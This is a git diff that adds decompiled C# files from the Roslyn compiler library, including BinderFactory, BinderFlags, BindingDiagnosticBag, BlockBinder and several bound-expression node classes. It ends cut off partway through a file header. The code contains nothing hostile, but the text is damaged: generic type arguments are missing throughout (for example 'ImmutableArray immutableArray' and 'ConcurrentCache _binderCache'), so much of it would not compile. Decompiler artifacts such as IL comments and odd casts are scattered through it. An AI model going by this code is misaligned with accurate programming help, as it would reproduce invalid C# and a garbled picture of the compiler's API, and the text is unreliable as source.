VisitCore((SyntaxNode)(object)memberSyntax.Parent); + BasePropertyDeclarationSyntax basePropertyDeclarationSyntax = (BasePropertyDeclarationSyntax)memberSyntax; + PropertySymbol propertySymbol = GetPropertySymbol(basePropertyDeclarationSyntax, outerBinder2); + ImmutableArray immutableArray = propertySymbol.Parameters; + if ((object)propertySymbol.SetMethod != null) + { + immutableArray = immutableArray.Add(propertySymbol.SetMethod.Parameters.Last()); + } + if (immutableArray.Any()) + { + return new WithParametersBinder(immutableArray, nextBinder); + } + break; + } + case SyntaxKind.DelegateDeclaration: + { + ImmutableArray parameters = ((NamespaceOrTypeSymbol)VisitCore((SyntaxNode)(object)memberSyntax.Parent).ContainingMemberOrLambda).GetSourceTypeMember((DelegateDeclarationSyntax)memberSyntax).DelegateInvokeMethod.Parameters; + if (parameters.Any()) + { + return new WithParametersBinder(parameters, nextBinder); + } + break; + } + } + return nextBinder; + } + + private Binder GetTypeParameterNameAttributeValueBinder(MemberDeclarationSyntax memberSyntax, bool includeContainingSymbols, Binder nextBinder) + { + if (includeContainingSymbols) + { + NamedTypeSymbol containingType = VisitCore((SyntaxNode)(object)memberSyntax.Parent).ContainingType; + while ((object)containingType != null) + { + if (containingType.Arity > 0) + { + nextBinder = new WithClassTypeParametersBinder(containingType, nextBinder); + } + containingType = containingType.ContainingType; + } + } + if (memberSyntax is TypeDeclarationSyntax { Arity: >0 } typeDeclarationSyntax) + { + return new WithClassTypeParametersBinder(((NamespaceOrTypeSymbol)VisitCore((SyntaxNode)(object)memberSyntax.Parent).ContainingMemberOrLambda).GetSourceTypeMember(typeDeclarationSyntax), nextBinder); + } + if (memberSyntax.Kind() == SyntaxKind.MethodDeclaration) + { + MethodDeclarationSyntax methodDeclarationSyntax = (MethodDeclarationSyntax)memberSyntax; + if (methodDeclarationSyntax.Arity > 0) + { + Binder outerBinder = VisitCore((SyntaxNode)(object)memberSyntax.Parent); + return new WithMethodTypeParametersBinder(GetMethodSymbol(methodDeclarationSyntax, outerBinder), nextBinder); + } + } + else if (memberSyntax.Kind() == SyntaxKind.DelegateDeclaration) + { + SourceNamedTypeSymbol sourceTypeMember = ((NamespaceOrTypeSymbol)VisitCore((SyntaxNode)(object)memberSyntax.Parent).ContainingMemberOrLambda).GetSourceTypeMember((DelegateDeclarationSyntax)memberSyntax); + if (sourceTypeMember.TypeParameters.Any()) + { + return new WithClassTypeParametersBinder(sourceTypeMember, nextBinder); + } + } + return nextBinder; + } + } + + private readonly struct BinderCacheKey(CSharpSyntaxNode syntaxNode, NodeUsage usage) : IEquatable + { + public readonly CSharpSyntaxNode syntaxNode = syntaxNode; + + public readonly NodeUsage usage = usage; + + bool IEquatable.Equals(BinderCacheKey other) + { + if (syntaxNode == other.syntaxNode) + { + return usage == other.usage; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(((object)syntaxNode).GetHashCode(), (int)usage); + } + + public override bool Equals(object obj) + { + throw new NotSupportedException(); + } + } + + internal enum NodeUsage : byte + { + Normal = 0, + MethodTypeParameters = 1, + MethodBody = 2, + ConstructorBodyOrInitializer = 1, + AccessorBody = 1, + OperatorBody = 1, + NamedTypeBodyOrTypeParameters = 2, + NamedTypeBaseListOrParameterList = 4, + NamespaceBody = 1, + NamespaceUsings = 2, + CompilationUnitUsings = 1, + CompilationUnitScript = 2, + CompilationUnitScriptUsings = 4, + DocumentationCommentParameter = 1, + DocumentationCommentTypeParameter = 2, + DocumentationCommentTypeParameterReference = 4, + CrefParameterOrReturnType = 1 + } + + private readonly ConcurrentCache _binderCache; + + private readonly CSharpCompilation _compilation; + + private readonly SyntaxTree _syntaxTree; + + private readonly BuckStopsHereBinder _buckStopsHereBinder; + + private readonly bool _ignoreAccessibility; + + private readonly ObjectPool _binderFactoryVisitorPool; + + internal SyntaxTree SyntaxTree => _syntaxTree; + + private bool InScript => (int)_syntaxTree.Options.Kind == 1; + + internal static Binder MakeCrefBinder(CrefSyntax crefSyntax, MemberDeclarationSyntax memberSyntax, BinderFactory factory, bool inParameterOrReturnType = false) + { + Binder binder = ((memberSyntax is BaseTypeDeclarationSyntax baseTypeDeclaration) ? getBinder(baseTypeDeclaration) : factory.GetBinder((SyntaxNode)(object)memberSyntax)); + return MakeCrefBinderInternal(crefSyntax, binder, inParameterOrReturnType); + Binder getBinder(BaseTypeDeclarationSyntax baseTypeDeclarationSyntax) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken; + if (baseTypeDeclarationSyntax is TypeDeclarationSyntax typeDecl) + { + SyntaxToken semicolonToken = baseTypeDeclarationSyntax.SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).RawKind == 8212) + { + openBraceToken = baseTypeDeclarationSyntax.OpenBraceToken; + if (((SyntaxToken)(ref openBraceToken)).RawKind == 0) + { + return factory.GetInTypeBodyBinder(typeDecl); + } + } + } + BinderFactory binderFactory = factory; + openBraceToken = baseTypeDeclarationSyntax.OpenBraceToken; + return binderFactory.GetBinder((SyntaxNode)(object)baseTypeDeclarationSyntax, ((SyntaxToken)(ref openBraceToken)).SpanStart); + } + } + + private static Binder MakeCrefBinderInternal(CrefSyntax crefSyntax, Binder binder, bool inParameterOrReturnType) + { + BinderFlags binderFlags = BinderFlags.SuppressConstraintChecks | BinderFlags.Cref | BinderFlags.UnsafeRegion; + if (inParameterOrReturnType) + { + binderFlags |= BinderFlags.CrefParameterOrReturnType; + } + binder = binder.WithAdditionalFlags(binderFlags); + binder = new WithCrefTypeParametersBinder(crefSyntax, binder); + return binder; + } + + internal static MemberDeclarationSyntax GetAssociatedMemberForXmlSyntax(CSharpSyntaxNode xmlSyntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia parentTrivia = ((SyntaxNode)GetEnclosingDocumentationComment(xmlSyntax)).ParentTrivia; + SyntaxToken token = ((SyntaxTrivia)(ref parentTrivia)).Token; + for (CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)((SyntaxToken)(ref token)).Parent; cSharpSyntaxNode != null; cSharpSyntaxNode = cSharpSyntaxNode.Parent) + { + if (cSharpSyntaxNode is MemberDeclarationSyntax result) + { + return result; + } + } + return null; + } + + private static DocumentationCommentTriviaSyntax GetEnclosingDocumentationComment(CSharpSyntaxNode xmlSyntax) + { + CSharpSyntaxNode cSharpSyntaxNode = xmlSyntax; + while (!SyntaxFacts.IsDocumentationCommentTrivia(cSharpSyntaxNode.Kind())) + { + cSharpSyntaxNode = cSharpSyntaxNode.Parent; + } + return (DocumentationCommentTriviaSyntax)cSharpSyntaxNode; + } + + internal BinderFactory(CSharpCompilation compilation, SyntaxTree syntaxTree, bool ignoreAccessibility) + { + _compilation = compilation; + _syntaxTree = syntaxTree; + _ignoreAccessibility = ignoreAccessibility; + _binderFactoryVisitorPool = new ObjectPool((Factory)(() => new BinderFactoryVisitor(this)), 64, true); + _binderCache = new ConcurrentCache(50); + _buckStopsHereBinder = new BuckStopsHereBinder(compilation, FileIdentifier.Create(syntaxTree)); + } + + internal Binder GetBinder(SyntaxNode node, CSharpSyntaxNode memberDeclarationOpt = null, Symbol memberOpt = null) + { + int spanStart = node.SpanStart; + if ((!InScript || node.Kind() != SyntaxKind.CompilationUnit) && node.Parent != null) + { + node = node.Parent; + } + return GetBinder(node, spanStart, memberDeclarationOpt, memberOpt); + } + + internal Binder GetBinder(SyntaxNode node, int position, CSharpSyntaxNode memberDeclarationOpt = null, Symbol memberOpt = null) + { + BinderFactoryVisitor binderFactoryVisitor = _binderFactoryVisitorPool.Allocate(); + binderFactoryVisitor.Initialize(position, memberDeclarationOpt, memberOpt); + Binder result = binderFactoryVisitor.Visit(node); + _binderFactoryVisitorPool.Free(binderFactoryVisitor); + return result; + } + + internal InMethodBinder GetPrimaryConstructorInMethodBinder(SynthesizedPrimaryConstructor constructor) + { + TypeDeclarationSyntax syntax = constructor.GetSyntax(); + NodeUsage usage = NodeUsage.MethodTypeParameters; + BinderCacheKey binderCacheKey = BinderFactoryVisitor.CreateBinderCacheKey(syntax, usage); + Binder binder = default(Binder); + if (!_binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = new InMethodBinder(constructor, GetInTypeBodyBinder(syntax)); + _binderCache.TryAdd(binderCacheKey, binder); + } + return (InMethodBinder)binder; + } + + internal Binder GetInTypeBodyBinder(TypeDeclarationSyntax typeDecl) + { + BinderFactoryVisitor binderFactoryVisitor = _binderFactoryVisitorPool.Allocate(); + binderFactoryVisitor.Initialize(((SyntaxNode)typeDecl).SpanStart, null, null); + Binder result = binderFactoryVisitor.VisitTypeDeclarationCore(typeDecl, NodeUsage.MethodBody); + _binderFactoryVisitorPool.Free(binderFactoryVisitor); + return result; + } + + internal Binder GetInNamespaceBinder(CSharpSyntaxNode unit) + { + switch (unit.Kind()) + { + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + { + BinderFactoryVisitor binderFactoryVisitor2 = _binderFactoryVisitorPool.Allocate(); + binderFactoryVisitor2.Initialize(0, null, null); + Binder result2 = binderFactoryVisitor2.VisitNamespaceDeclaration((BaseNamespaceDeclarationSyntax)unit, ((SyntaxNode)unit).SpanStart, inBody: true, inUsing: false); + _binderFactoryVisitorPool.Free(binderFactoryVisitor2); + return result2; + } + case SyntaxKind.CompilationUnit: + { + BinderFactoryVisitor binderFactoryVisitor = _binderFactoryVisitorPool.Allocate(); + binderFactoryVisitor.Initialize(0, null, null); + Binder result = binderFactoryVisitor.VisitCompilationUnit((CompilationUnitSyntax)unit, inUsing: false, InScript); + _binderFactoryVisitorPool.Free(binderFactoryVisitor); + return result; + } + default: + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlags.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlags.cs new file mode 100644 index 0000000..2b4ffed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlags.cs @@ -0,0 +1,41 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum BinderFlags : uint +{ + None = 0u, + SuppressConstraintChecks = 1u, + SuppressObsoleteChecks = 2u, + ConstructorInitializer = 4u, + FieldInitializer = 8u, + ObjectInitializerMember = 0x10u, + CollectionInitializerAddMethod = 0x20u, + AttributeArgument = 0x40u, + GenericConstraintsClause = 0x80u, + Cref = 0x100u, + CrefParameterOrReturnType = 0x200u, + UnsafeRegion = 0x400u, + SuppressUnsafeDiagnostics = 0x800u, + SemanticModel = 0x1000u, + EarlyAttributeBinding = 0x2000u, + CheckedRegion = 0x4000u, + UncheckedRegion = 0x8000u, + InLockBody = 0x10000u, + InCatchBlock = 0x20000u, + InFinallyBlock = 0x40000u, + InTryBlockOfTryCatch = 0x80000u, + InCatchFilter = 0x100000u, + InNestedFinallyBlock = 0x200000u, + IgnoreAccessibility = 0x400000u, + ParameterDefaultValue = 0x800000u, + AllowMoveableAddressOf = 0x1000000u, + AllowAwaitInUnsafeContext = 0x2000000u, + IgnoreCorLibraryDuplicatedTypes = 0x4000000u, + InContextualAttributeBinder = 0x8000000u, + InEEMethodBinder = 0x10000000u, + SuppressTypeArgumentBinding = 0x20000000u, + InExpressionTree = 0x40000000u, + AllClearedAtExecutableCodeBoundary = 0x3F0000u +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlagsExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlagsExtensions.cs new file mode 100644 index 0000000..c15c82a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFlagsExtensions.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class BinderFlagsExtensions +{ + public static bool Includes(this BinderFlags self, BinderFlags other) + { + return (self & other) == other; + } + + public static bool IncludesAny(this BinderFlags self, BinderFlags other) + { + return (self & other) != 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BindingDiagnosticBag.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BindingDiagnosticBag.cs new file mode 100644 index 0000000..d54369e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BindingDiagnosticBag.cs @@ -0,0 +1,189 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BindingDiagnosticBag : BindingDiagnosticBag +{ + private static readonly ObjectPool s_poolWithBoth = new ObjectPool((Factory)(() => new BindingDiagnosticBag(s_poolWithBoth, new DiagnosticBag(), new HashSet())), true); + + private static readonly ObjectPool s_poolWithDiagnosticsOnly = new ObjectPool((Factory)(() => new BindingDiagnosticBag(s_poolWithDiagnosticsOnly, new DiagnosticBag(), null)), true); + + private static readonly ObjectPool s_poolWithDependenciesOnly = new ObjectPool((Factory)(() => new BindingDiagnosticBag(s_poolWithDependenciesOnly, null, new HashSet())), true); + + private static readonly ObjectPool s_poolWithConcurrent = new ObjectPool((Factory)(() => new BindingDiagnosticBag(s_poolWithConcurrent, new DiagnosticBag(), (ICollection?)new ConcurrentSet())), true); + + public static readonly BindingDiagnosticBag Discarded = new BindingDiagnosticBag(null, null); + + private readonly ObjectPool? _pool; + + private BindingDiagnosticBag(DiagnosticBag? diagnosticBag, ICollection? dependenciesBag) + : base(diagnosticBag, dependenciesBag) + { + } + + private BindingDiagnosticBag(ObjectPool pool, DiagnosticBag? diagnosticBag, ICollection? dependenciesBag) + : base(diagnosticBag, dependenciesBag) + { + _pool = pool; + } + + internal static BindingDiagnosticBag GetInstance() + { + return s_poolWithBoth.Allocate(); + } + + internal static BindingDiagnosticBag GetInstance(bool withDiagnostics, bool withDependencies) + { + if (withDiagnostics) + { + if (withDependencies) + { + return GetInstance(); + } + return s_poolWithDiagnosticsOnly.Allocate(); + } + if (withDependencies) + { + return s_poolWithDependenciesOnly.Allocate(); + } + return Discarded; + } + + internal static BindingDiagnosticBag GetInstance(BindingDiagnosticBag template) + { + return GetInstance(((BindingDiagnosticBag)template).AccumulatesDiagnostics, ((BindingDiagnosticBag)(object)template).AccumulatesDependencies); + } + + internal static BindingDiagnosticBag GetConcurrentInstance() + { + return s_poolWithConcurrent.Allocate(); + } + + internal override void Free() + { + ObjectPool pool = _pool; + if (pool != null) + { + base.Clear(); + pool.Free(this); + } + else + { + base.Free(); + } + } + + internal void AddDependencies(Symbol? symbol) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol != null && base.DependenciesBag != null) + { + base.AddDependencies(symbol.GetUseSiteInfo()); + } + } + + internal bool ReportUseSite(Symbol? symbol, SyntaxNode node) + { + return ReportUseSite(symbol, (SyntaxNode val) => val.Location, node); + } + + internal bool ReportUseSite(Symbol? symbol, SyntaxToken token) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return ReportUseSite(symbol, (SyntaxToken val) => ((SyntaxToken)(ref val)).GetLocation(), token); + } + + internal bool ReportUseSite(Symbol? symbol, Location location) + { + return ReportUseSite(symbol, (Location result) => result, location); + } + + internal bool ReportUseSite(Symbol? symbol, Func getLocation, TData data) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol != null) + { + return base.Add(symbol.GetUseSiteInfo(), getLocation, data); + } + return false; + } + + internal void AddAssembliesUsedByNamespaceReference(NamespaceSymbol ns) + { + if (base.DependenciesBag != null) + { + addAssembliesUsedByNamespaceReferenceImpl(ns); + } + void addAssembliesUsedByNamespaceReferenceImpl(NamespaceSymbol namespaceSymbol) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if ((int)namespaceSymbol.Extent.Kind == 3) + { + ImmutableArray.Enumerator enumerator = namespaceSymbol.ConstituentNamespaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + addAssembliesUsedByNamespaceReferenceImpl(current); + } + } + else + { + AssemblySymbol containingAssembly = namespaceSymbol.ContainingAssembly; + if ((object)containingAssembly != null && !containingAssembly.IsMissing) + { + base.DependenciesBag.Add(containingAssembly); + } + } + } + } + + protected override bool ReportUseSiteDiagnostic(DiagnosticInfo diagnosticInfo, DiagnosticBag diagnosticBag, Location location) + { + return Symbol.ReportUseSiteDiagnostic(diagnosticInfo, diagnosticBag, location); + } + + internal CSDiagnosticInfo Add(ErrorCode code, Location location) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code); + Add((DiagnosticInfo?)(object)cSDiagnosticInfo, location); + return cSDiagnosticInfo; + } + + internal CSDiagnosticInfo Add(ErrorCode code, SyntaxNode syntax, params object[] args) + { + return Add(code, syntax.Location, args); + } + + internal CSDiagnosticInfo Add(ErrorCode code, SyntaxToken syntax, params object[] args) + { + return Add(code, ((SyntaxToken)(ref syntax)).GetLocation(), args); + } + + internal CSDiagnosticInfo Add(ErrorCode code, Location location, params object[] args) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code, args); + Add((DiagnosticInfo?)(object)cSDiagnosticInfo, location); + return cSDiagnosticInfo; + } + + internal CSDiagnosticInfo Add(ErrorCode code, Location location, ImmutableArray symbols, params object[] args) + { + CSDiagnosticInfo cSDiagnosticInfo = new CSDiagnosticInfo(code, args, symbols, ImmutableArray.Empty); + Add((DiagnosticInfo?)(object)cSDiagnosticInfo, location); + return cSDiagnosticInfo; + } + + internal void Add(DiagnosticInfo? info, Location location) + { + if (info != null) + { + ((BindingDiagnosticBag)this).DiagnosticBag?.Add(info, location); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BlockBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BlockBinder.cs new file mode 100644 index 0000000..b69c82b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BlockBinder.cs @@ -0,0 +1,67 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BlockBinder : LocalScopeBinder +{ + private readonly BlockSyntax _block; + + internal override bool IsLocalFunctionsScopeBinder => true; + + internal override bool IsLabelsScopeBinder => true; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_block; + + public BlockBinder(Binder enclosing, BlockSyntax block) + : this(enclosing, block, enclosing.Flags) + { + } + + public BlockBinder(Binder enclosing, BlockSyntax block, BinderFlags additionalFlags) + : base(enclosing, enclosing.Flags | additionalFlags) + { + _block = block; + } + + protected override ImmutableArray BuildLocals() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return BuildLocals(_block.Statements, this); + } + + protected override ImmutableArray BuildLocalFunctions() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return BuildLocalFunctions(_block.Statements); + } + + protected override ImmutableArray BuildLabels() + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder labels = null; + BuildLabels(_block.Statements, ref labels); + return labels?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if (ScopeDesignator == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BlockBinder.cs", 73); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + if ((object)ScopeDesignator == scopeDesignator) + { + return LocalFunctions; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/BlockBinder.cs", 91); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAddressOfOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAddressOfOperator.cs new file mode 100644 index 0000000..ae2438d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAddressOfOperator.cs @@ -0,0 +1,42 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAddressOfOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public bool IsManaged { get; } + + public BoundAddressOfOperator(SyntaxNode syntax, BoundExpression operand, TypeSymbol type, bool hasErrors = false) + : this(syntax, operand, isManaged: false, type, hasErrors) + { + } + + public BoundAddressOfOperator(SyntaxNode syntax, BoundExpression operand, bool isManaged, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.AddressOfOperator, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + IsManaged = isManaged; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAddressOfOperator(this); + } + + public BoundAddressOfOperator Update(BoundExpression operand, bool isManaged, TypeSymbol type) + { + if (operand != Operand || isManaged != IsManaged || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAddressOfOperator boundAddressOfOperator = new BoundAddressOfOperator(Syntax, operand, isManaged, type, base.HasErrors); + boundAddressOfOperator.CopyAttributes(this); + return boundAddressOfOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousObjectCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousObjectCreationExpression.cs new file mode 100644 index 0000000..7f32d88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousObjectCreationExpression.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAnonymousObjectCreationExpression : BoundExpression +{ + public override Symbol ExpressionSymbol => Constructor; + + protected override ImmutableArray Children => StaticCast.From(Arguments); + + public new TypeSymbol Type => base.Type; + + public MethodSymbol Constructor { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray Declarations { get; } + + public BoundAnonymousObjectCreationExpression(SyntaxNode syntax, MethodSymbol constructor, ImmutableArray arguments, ImmutableArray declarations, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.AnonymousObjectCreationExpression, syntax, type, hasErrors || arguments.HasErrors() || declarations.HasErrors()) + { + Constructor = constructor; + Arguments = arguments; + Declarations = declarations; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAnonymousObjectCreationExpression(this); + } + + public BoundAnonymousObjectCreationExpression Update(MethodSymbol constructor, ImmutableArray arguments, ImmutableArray declarations, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(constructor, Constructor) || arguments != Arguments || declarations != Declarations || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression = new BoundAnonymousObjectCreationExpression(Syntax, constructor, arguments, declarations, type, base.HasErrors); + boundAnonymousObjectCreationExpression.CopyAttributes(this); + return boundAnonymousObjectCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousPropertyDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousPropertyDeclaration.cs new file mode 100644 index 0000000..817c7b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAnonymousPropertyDeclaration.cs @@ -0,0 +1,42 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAnonymousPropertyDeclaration : BoundExpression +{ + public override Symbol ExpressionSymbol => Property; + + public new TypeSymbol Type => base.Type; + + public PropertySymbol Property { get; } + + public BoundAnonymousPropertyDeclaration(SyntaxNode syntax, PropertySymbol property, TypeSymbol type, bool hasErrors) + : base(BoundKind.AnonymousPropertyDeclaration, syntax, type, hasErrors) + { + Property = property; + } + + public BoundAnonymousPropertyDeclaration(SyntaxNode syntax, PropertySymbol property, TypeSymbol type) + : base(BoundKind.AnonymousPropertyDeclaration, syntax, type) + { + Property = property; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAnonymousPropertyDeclaration(this); + } + + public BoundAnonymousPropertyDeclaration Update(PropertySymbol property, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(property, Property) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration = new BoundAnonymousPropertyDeclaration(Syntax, property, type, base.HasErrors); + boundAnonymousPropertyDeclaration.CopyAttributes(this); + return boundAnonymousPropertyDeclaration; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgList.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgList.cs new file mode 100644 index 0000000..d05d35a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgList.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArgList : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundArgList(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ArgList, syntax, type, hasErrors) + { + } + + public BoundArgList(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ArgList, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArgList(this); + } + + public BoundArgList Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundArgList boundArgList = new BoundArgList(Syntax, type, base.HasErrors); + boundArgList.CopyAttributes(this); + return boundArgList; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgListOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgListOperator.cs new file mode 100644 index 0000000..b812f34 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArgListOperator.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArgListOperator : BoundExpression +{ + protected override ImmutableArray Children => StaticCast.From(Arguments); + + public override object Display => "__arglist"; + + public new TypeSymbol? Type => base.Type; + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public BoundArgListOperator(SyntaxNode syntax, ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.ArgListOperator, syntax, type, hasErrors || arguments.HasErrors()) + { + Arguments = arguments; + ArgumentRefKindsOpt = argumentRefKindsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArgListOperator(this); + } + + public BoundArgListOperator Update(ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, TypeSymbol? type) + { + if (arguments != Arguments || argumentRefKindsOpt != ArgumentRefKindsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundArgListOperator boundArgListOperator = new BoundArgListOperator(Syntax, arguments, argumentRefKindsOpt, type, base.HasErrors); + boundArgListOperator.CopyAttributes(this); + return boundArgListOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayAccess.cs new file mode 100644 index 0000000..1a596c7 --- /dev/null +++ 